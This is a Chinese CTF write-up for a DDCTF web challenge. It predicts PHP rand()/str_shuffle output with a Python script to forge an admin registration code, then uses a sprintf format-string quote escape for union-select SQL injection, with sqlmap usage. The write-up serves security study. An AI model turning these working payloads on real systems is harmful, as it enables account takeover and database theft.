题目链接:http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d
源码审计
尝试正常注册登录,注册处有个code输入框,不知道是干什么的,登录上去以后告诉不是管理员。通过提示的www.tar.gz的备份文件,下载到题目源码,总共三个文件:
- index.php
- login.php
- register.php
index.php
<?php
session_start();
include "config.php";
if (!isset($_SESSION['is_admin'])) {
die('<br> Please <a href="login.php">login</a>!');
}
if (!$_SESSION['is_admin']) {
die('You are not admin. <br> Please <a href="login.php">login</a>!');
}
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
}
?>
- 判断session中的is_admin属性,需要为1才能继续执行到接下来的sql查询
- 这个sql通过两个格式化字符串拼接出sql查询语句,有可能引起注入
login.php
<?php
session_start();
include('config.php');
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
die("CSRF token error!");
}
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
die('wrong password');
}
$sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] === "admin") {
$_SESSION['is_admin'] = true;
} else {
$_SESSION['is_admin'] = false;
}
#echo $username;
header("Location: index.php");
}
?>
- 通过安全的使用pdo来避免产生sql注入
- 接受username,password,csrf三个参数
- 通过查询表中的identity字段,确定session中的is_admin的值
register.php
<?php
session_start();
include('config.php');
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
die("CSRF token error!");
}
$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
$sth = $pdo->prepare('INSERT INTO users (username, password, `identity`) VALUES (:username, :password, :identity)');
$sth->execute([':username' => $username, ':password' => $password, ':identity' => $identity]);
echo '<script>alert("register success");location.href="./login.php"</script>';
}
<input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
?>
- 通过安全的使用pdo来避免产生sql注入
- 接受username,password,csrf,code四个参数
- csrf由随机函数rand()生成
- 如果输入的code参数等于给定的$admin,则注册账号的identity字段为admin
- $admin由str_shuffle()函数生成
- str_shuffle()是个随机打乱字符串的函数
str_shuffle
str_shuffle() 函数随机打乱字符串中的所有字符
这里既然给出的$admin是由这个函数生成的,那么就应该去研究函数的实现,找到打乱字符串的具体方式。php内置函数的实现需要找到php源码,可以在github上找到各个版本的php源码:
https://github.com/php/php-src
函数实现(PHP/5.6.35)
由于各个版本的php对于一些函数的实现方式是不同的,所以这里查看响应中的php版本:
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/5.6.35
https://github.com/php/php-src/tree/PHP-5.6.35
下载并全局搜索str_shuffle即可,定位到/ext/standard/string.c第5422行
PHP_FUNCTION(str_shuffle)
{
char *arg;
int arglen;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arglen) == FAILURE) {
return;
}
RETVAL_STRINGL(arg, arglen, 1);
if (Z_STRLEN_P(return_value) > 1) {
php_string_shuffle(Z_STRVAL_P(return_value), (long) Z_STRLEN_P(return_value) TSRMLS_CC);
}
}
第5394行
static void php_string_shuffle(char *str, long len TSRMLS_DC)
{
long n_elems, rnd_idx, n_left;
char temp;
n_elems = len;
if (n_elems <= 1) {
return;
}
n_left = n_elems;
while (--n_left) {
rnd_idx = php_rand(TSRMLS_C);
RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
if (rnd_idx != n_left) {
temp = str[n_left];
str[n_left] = str[rnd_idx];
str[rnd_idx] = temp;
}
}
}
函数分析
c代码中具体的宏定义没有仔细研究,但看得出来php的内置函数是通过PHP_FUNCTION(str_shuffle)这种方式来定义,在函数内部,解析了传入的参数并调用php_string_shuffle最终完成字符串的打乱。打乱的步骤就是php_string_shuffle函数中的while循环:
while (--n_left) {
rnd_idx = php_rand(TSRMLS_C);
RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
if (rnd_idx != n_left) {
temp = str[n_left];
str[n_left] = str[rnd_idx];
str[rnd_idx] = temp;
}
}
- 每个循环中,生成一个随机数,并使其落在零到字符串长度这个区间
- 将字符串从尾至头与随机位置交换,得到打乱的字符串
这里如果想要预测打乱的字符串,那么必须预测每一次循环生成的随机数,也就是在这里所用的php_rand()这个函数。
php随机函数
在php中常利用两对函数来生成随机数:
- rand()和srand()
- mt_rand()和mt_srand()
要想区分两组函数随机数生成的异同,这里要考虑如下因素:
- php版本
- php运行环境(linux or windows)
在不同php版本中,各个函数的实现是存在差异的,比如在新版本的php中看到rand()函数的源码,里面就是封装了返回mt_rand(),但是在老版本的rand()函数中,的确是另一种实现方法。并且在不同的操作系统中,函数的实现也是不尽相同的。
播种函数
以上两组函数都是由两个函数组成,其中srand()和mt_srand()是播种函数,将传入的数值作为随机数的种子。由同一个种子生成的随机数序列是相同的。这里以rand()函数为例,mt_rand()同理:
<?php
srand(1);
echo rand();
echo "\n";
echo rand();
echo "\n";
echo rand();
echo "\n";
?>
这段php代码无论你运行多少次得到的结果都是相同的,但是如果是更换了php版本,结果也许会有不同。所以如果你知道了播种函数中的参数,就是种子的值,那么是完全可以算出随机数的生成序列的。
在w3school可以找到PHP rand()函数的注释如下:
注释:在某些平台下(例如 Windows)RAND_MAX 只有 32768。如果需要的范围大于 32768,那么指定 min 和 max 参数就可以生成大于 RAND_MAX 的数了,或者考虑用 mt_rand() 来替代它。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。
注释:在 3.0.7 之前的版本中,max 的含义是 range 。要在这些版本中得到和上例相同 5 到 15 的随机数,简短的例子是 rand (5, 11)。
可见从PHP 4.2.0之前的版本如果要使用rand()函数,则必须在之前调用srand()给随机数发生器播种,之后的版本由系统自动完成,那么系统自动播种的种子可以预测到么?
rand()与srand()函数实现
位置:/ext/standard/rand.c
4.2.0
https://github.com/php/php-src/blob/PHP-4.2.0/ext/standard/rand.c
srand:
PHPAPI void php_srand(long seed TSRMLS_DC)
{
#ifdef ZTS
BG(rand_seed) = (unsigned int) seed;
#else
# if defined(HAVE_SRANDOM)
srandom((unsigned int) seed);
# elif defined(HAVE_SRAND48)
srand48(seed);
# else
srand((unsigned int) seed);
# endif
#endif
}
PHP_FUNCTION(srand)
{
long seed;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &seed) == FAILURE)
return;
if (ZEND_NUM_ARGS() == 0)
seed = GENERATE_SEED();
php_srand(seed TSRMLS_CC);
BG(rand_is_seeded) = 1;
}
rand:
PHPAPI long php_rand(TSRMLS_D)
{
long ret;
#ifdef ZTS
ret = php_rand_r(&BG(rand_seed));
#else
# if defined(HAVE_RANDOM)
ret = random();
# elif defined(HAVE_LRAND48)
ret = lrand48();
# else
ret = rand();
# endif
#endif
return ret;
}
PHP_FUNCTION(rand)
{
long min;
long max;
long number;
int argc = ZEND_NUM_ARGS();
if (argc != 0 && zend_parse_parameters(argc TSRMLS_CC, "ll", &min, &max) == FAILURE)
return;
if (!BG(rand_is_seeded)) {
php_srand(GENERATE_SEED() TSRMLS_CC);
}
number = php_rand(TSRMLS_C);
if (argc == 2) {
RAND_RANGE(number, min, max, PHP_RAND_MAX);
}
RETURN_LONG(number);
}
可见在rand()函数中最终调用的函数是跟编译的设置有关,可以猜测这里是根据操作系统不同,然后调用了不同的函数去生成随机数,最后返回给php的rand()函数。也就是说,php这个版本的rand()函数是依赖于操作系统的。
7.1.0
https://github.com/php/php-src/blob/PHP-7.1.0/ext/standard/rand.c
#include "php.h"
#include "php_rand.h"
#include "php_mt_rand.h"
PHPAPI void php_srand(zend_long seed)
{
php_mt_srand(seed);
}
PHPAPI zend_long php_rand(void)
{
return php_mt_rand();
}
PHP_FUNCTION(rand)
{
zend_long min;
zend_long max;
int argc = ZEND_NUM_ARGS();
if (argc == 0) {
RETURN_LONG(php_mt_rand() >> 1);
}
if (zend_parse_parameters(argc, "ll", &min, &max) == FAILURE) {
return;
}
if (max < min) {
RETURN_LONG(php_mt_rand_common(max, min));
}
RETURN_LONG(php_mt_rand_common(min, max));
}
在7.1.0版本中rand.c代码仅有79行,而且发现rand()函数中直接调用了php_mt_rand()函数,在之后的版本已经废除了原来的随机数生成方式彻底改用mt_rand()函数来生成随机数。mt_rand()这个函数又是怎么实现的呢?
mt_rand()与mt_srand()函数实现
这两个函数在4.2.0到7.1.0的实现原理没有太大变化,只是源码实现的位置发生改变。
4.2.0:https://github.com/php/php-src/blob/PHP-4.2.0/ext/standard/rand.c
7.1.0:https://github.com/php/php-src/blob/PHP-7.1.0/ext/standard/mt_rand.c
但这两个函数中用到的php_mt_reload()函数实现发生改变,导致从7.1.0开始由相同的种子实现的mt_rand()函数生成的伪随机数序列稍有不同。
PHPAPI php_uint32 php_mt_rand(TSRMLS_D)
{
php_uint32 y;
if (--BG(left) < 0)
return php_mt_reload(TSRMLS_C);
y = *BG(next)++;
y ^= (y >> 11);
y ^= (y << 7) & 0x9D2C5680U;
y ^= (y << 15) & 0xEFC60000U;
return y ^ (y >> 18);
}
PHP_FUNCTION(mt_srand)
{
long seed;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &seed) == FAILURE)
return;
if (ZEND_NUM_ARGS() == 0)
seed = GENERATE_SEED();
php_mt_srand(seed TSRMLS_CC);
BG(mt_rand_is_seeded) = 1;
}
PHPAPI void php_mt_srand(php_uint32 seed TSRMLS_DC)
{
register php_uint32 x = (seed | 1U) & 0xFFFFFFFFU, *s = BG(state);
register int j;
for (BG(left) = 0, *s++ = x, j = N; --j;
*s++ = (x *= 69069U) & 0xFFFFFFFFU);
}
PHP_FUNCTION(mt_srand)
{
long seed;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &seed) == FAILURE)
return;
if (ZEND_NUM_ARGS() == 0)
seed = GENERATE_SEED();
php_mt_srand(seed TSRMLS_CC);
BG(mt_rand_is_seeded) = 1;
}
这一组生成伪随机数函数是与操作系统相独立的,也就是说给定的mt_srand()固定的种子,计算出的随机数序列是不分操作系统的。并且在4.2.0-7.0.30是相同的,在7. 1.0-7.2.5是相同的。
如下示例:
<?php
mt_srand(1);
for($i=1;$i<10;$i++){
echo mt_rand()."\n";
}
在php7.2.0得到结果:
895547922
2141438069
1546885062
2002651684
245631
275145156
649254245
2145423170
315155879
但在php7.0.12得到如下结果
1244335972
15217923
1546885062
2002651684
2135443977
1865258162
1509498899
2145423170
1837306065
可见随机数序列不完全一样,根据http://www.openwall.com/php_mt_seed/中指出:
PHP’s mt_rand() algorithm changed over the years since its introduction in PHP 3.0.6. php_mt_seed 4.0 supports 3 major revisions of the algorithm: PHP 3.0.7 to 5.2.0, PHP 5.2.1 to 7.0.x, and PHP 7.1.0+ (at least up to the latest as of this writing, which is PHP 7.2.0beta3).
mt_rand()函数的具体算法经历了三次变化,由于5.2.1的版本php的环境很少见,如今的mt_rand()以主要以7.1.0版本划分
实现方式总结
可见针对于随机函数较大变化的版本为7.1.0
7.1.0版本前
- rand()函数依赖于操作系统实现
- mt_rand()函数独立实现
7.1.0版本后
- rand()函数就是mt_rand()函数
- mt_rand()函数给定种子生成的随机序列有所变化
预测随机数
其实预测方法无非就是爆破,那么要预测的有以下八种情况:
- 7.1.0以前的windows下rand手工播种
-
7.1.0以前的windows下rand自动播种
- 7.1.0以前的linux下rand手工播种
-
7.1.0以前的linux下rand自动播种
- 7.1.0以前的windows(linux)下mt_rand手工播种
-
7.1.0以前的windows(linux)下mt_rand自动播种
- 7.1.0以后的windows(liunx)下mt_rand手工播种
- 7.1.0以后的windows(linux)下mt_rand自动播种
随机数与进程
预测之前我们要注意的随机序列是由播种函数来确定的,但是播种函数的生效范围是至关重要的。仅仅在同一个php进程中,通过srand()或者mt_srand()函数播种,才会确定该进程中的rand()或者mt_rand()函数生成随机数的序列。也就是说我们最终要预测的随机数,前提是在某个进程下才有意义的。
参考:
爆破种子
以上十二种情况均可通过爆破的方式来预测随机数,前提是要保持在同一个进程中。并且要获得一些这个进程下产生的随机数(一般是前几个)才可以有效爆破。
手工播种
只要想办法让php执行到手工播种的代码,然后可以得到该进程中的生成的随机数序列即可爆破。
自动播种
每个进程启动时,都会自动播种。有人说7.1.0以前的windows下rand自动播种每个新的进程是一的自动播种是相同的,但是我自己试验没有成功,所以在自动播种时,我们每次爆破时只针对当前进程有效。而如果是如上的手工播种,只要相应进程执行到手工播种的代码,这个随机序列就是有效的。
爆破方法
其中针对于mt_rand()有爆破工具:php_mt_seed
针对于rand()的爆破参考如下:
译-Cracking PHP rand()-token 能破解吗?
linux下7.1.0版本以前rand
这里要单独说明这种情况,因为这里的随机数具有另一种特性,与种子无关:
而在linux下,PHP rand函数在底层使用的是glibc rand(),它会保留前面生成随机数的数据,作为后面随机数生成的依据,以此保证伪随机数的均匀性,但这样会导致严重的安全问题,也就是如果我们知道前面生成的随机序列,那么完全可以预测后面的随机数。 公式为:
num[n] = (num[n-3] + num[n-31]) mod (MAX)
其中num列表就是随机数的列表,MAX为rand(0,MAX)设置的上边界,可用php中的getrandmax()函数,用来获取最大的随机数
本题code参数解法
- 可见str_shuffle()是用的rand()函数来打乱字符串的
- 并且在register.php中每次输出的csrf就是由rand()函数生成
- 题目环境符合linux下7.1.0版本以前rand()自动播种
则先获得前31个随机数,则可用第1个和第29个随机数来预测第32个随机数,如果预测成功,则可以继续预测整个随机数序列。便可预测str_shuffle()每次用到的rand()的值,进而的得知打乱的字符串。
尝试预测rand ()
这里我们如何保证是是在同一个进程下呢?其实我也不知道,先用脚本尝试一下:
# -*- encoding: utf-8 -*-
import requests,re
codelist=[0]
url="http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php"
partter='<input type="hidden" name="csrf" id="csrf" value="(.*?)" required>'
s= requests.Session()
for i in range(1,33):
r= s.get(url=url)
code = re.search(partter,r.content).group(1)
print "第"+str(i)+"个值为:"+code
codelist.append(int(code))
print "预测的32个值为:"+str((codelist[1]+codelist[29])%2147483647)
结果如下:
第28个值为:470634897
第29个值为:155755019
第30个值为:1255385298
第31个值为:248915336
第32个值为:116378370
预测的32个值为:116378370
预测成功,说明这里并不用刻意去保证同一个进程
生成整个随机数列表
for i in range(33,120):
realcode=(codelist[i-31]+codelist[i-3])%2147483647
codelist.append(realcode)
移植python版str_shuffle()函数
c版
#define RAND_RANGE(__n, __min, __max, __tmax) \
(__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
static void php_string_shuffle(char *str, long len TSRMLS_DC)
{
long n_elems, rnd_idx, n_left;
char temp;
n_elems = len;
if (n_elems <= 1) {
return;
}
n_left = n_elems;
while (--n_left) {
rnd_idx = php_rand(TSRMLS_C);
RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
if (rnd_idx != n_left) {
temp = str[n_left];
str[n_left] = str[rnd_idx];
str[rnd_idx] = temp;
}
}
}
python版
def RAND_RANGE(__n, __min, __max,__tmax):
return __min+(__max-__min+1.0)*(__n/(__tmax+1.0))
def shuffle(text,length):
n_elems = length
if n_elems <= 1:
return
n_left = n_elems
num=0
while n_left:
n_left=n_left-1
rnd_idx = codelist[33+num];
num=num+1
rnd_idx=int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647));
if (rnd_idx != n_left) :
temp = text[n_left]
text = text[:n_left]+text[rnd_idx]+text[n_left+1:]
text = text[:rnd_idx]+temp+text[rnd_idx+1:]
return text
整合注册
import requests,re
# state[i] = state[i-3] + state[i-31]
codelist=[0]
url="http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php"
partter='<input type="hidden" name="csrf" id="csrf" value="(.*?)" required>'
text="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
def RAND_RANGE(__n, __min, __max,__tmax):
return __min+(__max-__min+1.0)*(__n/(__tmax+1.0))
def shuffle(text,length):
n_elems = length
if n_elems <= 1:
return
n_left = n_elems
num=0
while n_left:
n_left=n_left-1
rnd_idx = codelist[33+num];
num=num+1
rnd_idx=int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647));
if (rnd_idx != n_left) :
temp = text[n_left]
text = text[:n_left]+text[rnd_idx]+text[n_left+1:]
text = text[:rnd_idx]+temp+text[rnd_idx+1:]
return text
s= requests.Session()
for i in range(1,33):
r= s.get(url=url)
code = re.search(partter,r.content).group(1)
print code
codelist.append(int(code))
if i==31:
print (codelist[1]+codelist[29])%2147483647
for i in range(33,120):
realcode=(codelist[i-31]+codelist[i-3])%2147483647
codelist.append(realcode)
code="admin###"+shuffle(text,len(text))[0:32]
csrftoken=codelist[32]
data={
"username":"gogodena",
"password":"gogodena",
"csrf":csrftoken,
"code":code
}
b = s.post(url=url,data=data)
print b.content
成功注册管理员账号,登录进入index.php
格式化字符串注入
index.php
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
对id和title都进行了单引号的转义,但是又将title重新拼接到一个格式化字符串中这里可能引发单引号的逃逸
sprintf
http://php.net/manual/zh/function.sprintf.php
主要逃逸方法:
%1$\'
过转义%1$'%s'
过prepare
参考:
从WordPress SQLi谈PHP格式化字符串问题(2017.11.01更新)
示例
<?php
$a="superman";
$b="I am %s";
echo sprintf($b,$a);
?>
输出:I am superman
解释:将%s替换为变量a
<?php
$a="superman";
$b="I am %10s";
echo sprintf($b,$a);
?>
输出:I am superman
解释:将%s替换为变量a,中间的10为字符串格式化的长度,所以向右空了两个字符
<?php
$a="superman";
$b="I am %'#10s";
echo sprintf($b,$a);
?>
输出:I am ##superman
解释:单引号为表示填充,用后面的字符(这里为井号)填充空白,其余同上
<?php
$a="superman";
$b="I am %'10s";
echo sprintf($b,$a);
?>
输出:I am superman
解释:不详
<?php
$a="superman";
$b="I am %'10s'";
echo sprintf($b,$a);
?>
输出:I am superman'
解释:不详
<?php
$a="superman";
$b="I am %s %s";
echo sprintf($b,$a);
?>
报错:太少参数
<?php
$a="superman";
$b="I am %1$s";
echo sprintf($b,$a);
?>
报错:太少参数
<?php
$a="superman";
$b="I am %1\$s";
echo sprintf($b,$a);
?>
输出:I am superman
解释:1\$为指明参数的标记
<?php
$a="superman";
$b="I am %1\$s %1\$s";
echo sprintf($b,$a);
?>
输出:I am superman superman
解释:均指明为第一个参数
<?php
$a="superman";
$b="I am %1$8s %1$8s";
echo sprintf($b,$a);
?>
输出:I am superman superman
解释:这里省去了美元符号前的反斜杠,前提是美元符号后面有格式化的位数标记
<?php
$a="superman";
$b="I am %y";
echo sprintf($b,$a);
?>
输出:I am
解释:没有%y这个参数
<?php
$a="superman";
$b="I am %y'";
echo sprintf($b,$a);
?>
输出:I am '
解释:没有%y这个参数
<?php
$a="superman";
$b="I am %\'";
echo sprintf($b,$a);
?>
输出:I am '
解释:没有%\这个参数
过转义
%1$'
–>%1$\'
–>'
这个绕过的原型是%'
,当其经过转义后变成%、'
,但因为不存在%\
这种类型,在sprintf函数源码中直接跳过了处理,因此%\
相当于直接被删掉导致单引号逃逸:
%'
–>%\'
–>'
但是拼接的格式化字符串中肯定还会有%s,所以加上指明参数的1$
可以不引发报错。
部分源码如下:在ext/standard/formatted_print.c第643行可见对其他字符直接break
case 'b':
php_sprintf_append2n(&result, &outpos,
zval_get_long(tmp),
width, padding, alignment, 1,
hexchars, expprec);
break;
case '%':
php_sprintf_appendchar(&result, &outpos, '%');
break;
default:
break;
过prepare
%1$%s
–>%1$'%s'
–>'
这个和上面完全是两种利用思路,这个是把单引号当为控制填充的符号,语意为利用%
填充,导致后面的单引号逃逸
本题注入解法
很显然title变量拼接进第二个格式化字符串,并且是需要过转义,尝试如下payload:
id=1&title=%1$'%20or%201=1%23
成功注入,通过联合查询,最终查询到flag
http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%20%23
information_schema,a8e79480
http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23
article,key,users
http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x6B6579%20%23
f14g
http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=%1$%27%20union%20select%201,2,group_concat(f14g)%20from%20a8e79480.key%20where%201=1%20%23
DDCTF{39a3b3cf60a4bee19bf510c5be361f3d}
另外sqlmap也可以直接跑出结果:
sqlmap.py -u "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=" -p "title" --cookie "PHPSESSID=a0da651ea36361e90685492346965c44" --prefix "%1$'" --suffix "%23" --level 5